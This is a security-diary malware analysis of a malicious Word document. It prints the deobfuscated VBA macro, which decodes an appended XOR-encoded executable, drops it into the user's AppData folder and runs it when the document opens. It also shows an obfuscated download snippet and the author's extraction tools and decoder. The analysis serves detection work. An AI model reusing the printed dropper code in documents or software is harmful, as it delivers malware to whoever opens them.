Analyze of a malicious Word document with an embedded payload

Published: 2015-11-14. Last Updated: 2015-11-14 07:45:24 UTC
by Xavier Mertens (Version: 1)
6 comment(s)

This week, I was busy with an incident which involved an interesting malicious Word document. OLE documents with malicious macros are not new, I receive a few of them every day in my mail trap. Until they remain a great way to compromise end-user computers, the flood won't stop. Usually, the macro is executed (the user is asked to enable its execution using social engineering traps like "The content of this document is protected, enable macros to view it") and downloads a new payload via the object MSXML2.ServerXMLHTTP. Here is an example of an obfuscation object construction to perform a GET request:

BHJQWGDHJQWGDWQ = "MSXML2." & "Ser" & "ver" & "X" & "MLH" & "TT" & "P"
Set Tghafsdghqhjwgdhjqwgdjhqwgdqwd = CreateObject(BHJQWGDHJQWGDWQ)
Tghafsdghqhjwgdhjqwgdjhqwgdqwd.Open "G" & "" & "ET", ggFw

The good point (or the bad point depending on the side you're located - attacker/defender) is that this helps to create interesting lists of IOCs with IP addresses, URLs, domains or filenames. It's quite easy to deobfuscate the macro and collect the IOCs.

In the incident I was involved, there was no network traffic generated by the malicious macro. The payload was already present and appended at the end the Word file. The document was generated in September 2015 and its VT score was only 2/43 (3 days ago). I was the first to submit it. The content of the document was properly formatted, with interesting information for the victim (of course). I used Didier Stevens's toolbox to analyze the document.

The document was created by a user "Helmut" the 3rd of September 2015. It contains 2 macros:

$ oledump.py malicious.doc
  1:       121 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:     23860 '1Table'
  5:    781575 'Data'
  6:       486 'Macros/PROJECT'
  7:        71 'Macros/PROJECTwm'
  8: m     940 'Macros/VBA/ThisDocument'
  9:      3256 'Macros/VBA/_VBA_PROJECT'
 10:       569 'Macros/VBA/dir'
 11: M    6052 'Macros/VBA/islamabad'
 12:    257675 'WordDocument'

The interesting macro is in the section 11 (note the name: "islamabad" - the capital of Pakistan). It is a classic obfuscated macro that can be extracted via this command:

$ oledump.py -s 11 -v malicious.doc

[Note: I performed some cleanup and deobfuscation in the macro code to make it more readable]

Basically, the malicious payload (a classic PE file) is appended to the Word document with extra data: the size of the payload and a checksum. Let's review the code:

Attribute VB_Name = "islamabad"
Public var_Filename1 As String
Public var_Path1 As String

The first function performs a checksum of the extract binary stream:

Function func_Checksum(var_Data() As Byte, var_Len As Long) As Byte
    For I = 0 To var_Len - 1
        func_Checksum = func_Checksum Xor var_Data(I)
    Next I
End Function

The binary is XOR'd. The next function decodes it:

Function func_DecodeBinary(var_Data() As Byte, var_Len As Long) As Boolean
    Dim var_IV1 As Byte
    var_IV1 = 11
    For I = 0 To var_Len - 1
        var_Data(I) = var_Data(I) Xor var_IV1
        var_IV1 = ((var_IV1 Xor 13) Xor (I Mod 256))
    Next I
    func_DecodeBinary = True
End Function

This function changes the document layout. (I don't know exactly the reason of this)

Function func_FormatDocument() As Boolean
    ActiveDocument.GrammarChecked = False
    ActiveDocument.SpellingChecked = False
    ActiveDocument.Select
    Selection.Font.ColorIndex = wdBlack
    Selection.Font.Underline = wdUnderlineNone
    Selection.HomeKey
    For Each sec In ActiveDocument.Sections
        For Each head In sec.Headers
            head.Range.Delete
        Next
    Next
    ViewDocument = True
End Function

Sub AutoClose()
    ActiveDocument.Save
End Sub

And now the principal macro automatically executed when the document is opened:

Sub AutoOpen()
    On Error GoTo ErrorCondition1
    Dim var_Dummy1 As Boolean
    var_Dummy1 = func_FormatDocument()
    Dim fh_File1
    Dim var_Filesize As Long
    Dim var_BinarySize As Long
    Dim var_Checksum As Byte

We get the file size, open it and extract the checksum (located EOF -4) and the binary stream size (EOF -3).

    var_Filesize = FileLen(ActiveDocument.FullName) 
    fh_File1 = FreeFile
    Open (ActiveDocument.FullName) For Binary As #fh_File1
    Get #fh_File1, (var_Filesize - 4), var_Checksum 
    Get #fh_File1, (var_Filesize - 3), var_BinarySize

    If var_BinarySize < 8 Then
        GoTo ErrorCondition1
    End If

    If (var_BinarySize + 4) > var_Filesize Then
        GoTo ErrorCondition1
    End If

The script computes the starting position of the data stream and prepare a byte array with the correct size. 

    Dim var_Offset As Long
    var_Offset = var_Filesize - (var_BinarySize + 4)
    Dim var_BinaryData1() As Byte
    ReDim var_BinaryData1(var_BinarySize - 1)

Then, the binary file is extracted and decoded:

    Get #fh_File1, var_Offset, var_BinaryData1
    Close #fh_File1
    If Not func_DecodeBinary(var_BinaryData1(), var_BinarySize) Then
        GoTo ErrorCondition1
    End If

The checksum is verified:

    Dim var_Dummy2 As Byte
    var_Dummy2 = func_Checksum(var_BinaryData1(), var_BinarySize)
    If var_Checksum <> var_Dummy2 Then
        GoTo ErrorCondition1
    End If

The default path to drop the payload is obfuscated.
(Value = "appdata\Microsoft\Word")

    var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97)) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100)

The object "Scripting.FileSystemObject" is also obfuscated:

    Set var_Object1 = CreateObject("Scripting" & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))

Just in case of the default path does not exists (which should not be the case because Word is present on the target system), the script uses another one ("appdata"):

    If Not var_Object1.FolderExists(var_Path1) Then
        var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97))
    End If

    Set var_Object1 = Nothing
    Dim fh_File2
    fh_File2 = FreeFile

The dropped payload filename is also obfuscated and we create the file
(Value: "wfletxavb.exe")

Remark: I don't know why the filename is not dynamically generated with random characters. This could avoid the detection of the malicious binary on a file system.

    var_Filename1 = var_Path1 & "\" & Chr(119) & Chr(102) & Chr(108) & Chr(101) & Chr(116) & Chr(120) & Chr(97) & Chr(118) & Chr(98) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
    Open (var_Filename1) For Binary As #fh_File2
    Put #fh_File2, 1, var_BinaryData1
    Close #fh_File2
    Erase var_BinaryData1

We are ready to execute it!

    Set var_Object2 = CreateObject("WScript.Shell")
    var_Object2.Exec var_Filename1
    Exit Sub

ErrorCondition1:
    Close #fh_File1
    Close #fh_File2
    ActiveDocument.Save
End Sub

By reversing the macro, we can guess the starting position of the binary and extract it manually via the Didier's cut-bytes.py tool. We need to skip the last bytes of the document (containing the payload size and checksum):

[Note: Didier added a new feature to his tools to help me to extract data: it's now possible to specify to ignore bytes at the end of the file (the '-5' part in the command line below)]

$ cut-bytes.py "<position>:-5" malicious.doc >binary.data
$ file binary.data
binary.data: data

The decoding function being in the macro, we can reuse it and write a specific decoder for the translate.py tool:

def FileDecode(input):
    output = ''
    code = 11
    for iIter in range(len(input)):
        output += chr(ord(input[iIter]) ^ code)
        code = (code ^ 13) ^ (iIter % 256)
    return output

Finally, we can decode the binary and get a PE file:

$ cat binary.data | translate.py -f -s decoder_caseXXXX.py -o binary.exe FileDecode
$ file binary.exe
binary.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

This PE file was never sent to VirusTotal and is clearly malicious. More investigations are still ongoing.

The construction of the file (OLE document +  PE file + checksum + PE file length) looks ideal to quickly allow the attackers to generate a new encoded PE file and just append it to the same Word document. I can't share the samples at this time, investigations are still ongoing.

Xavier Mertens
ISC Handler - Freelance Security Consultant
PGP Key

Keywords:
6 comment(s)

Comments


Diary Archives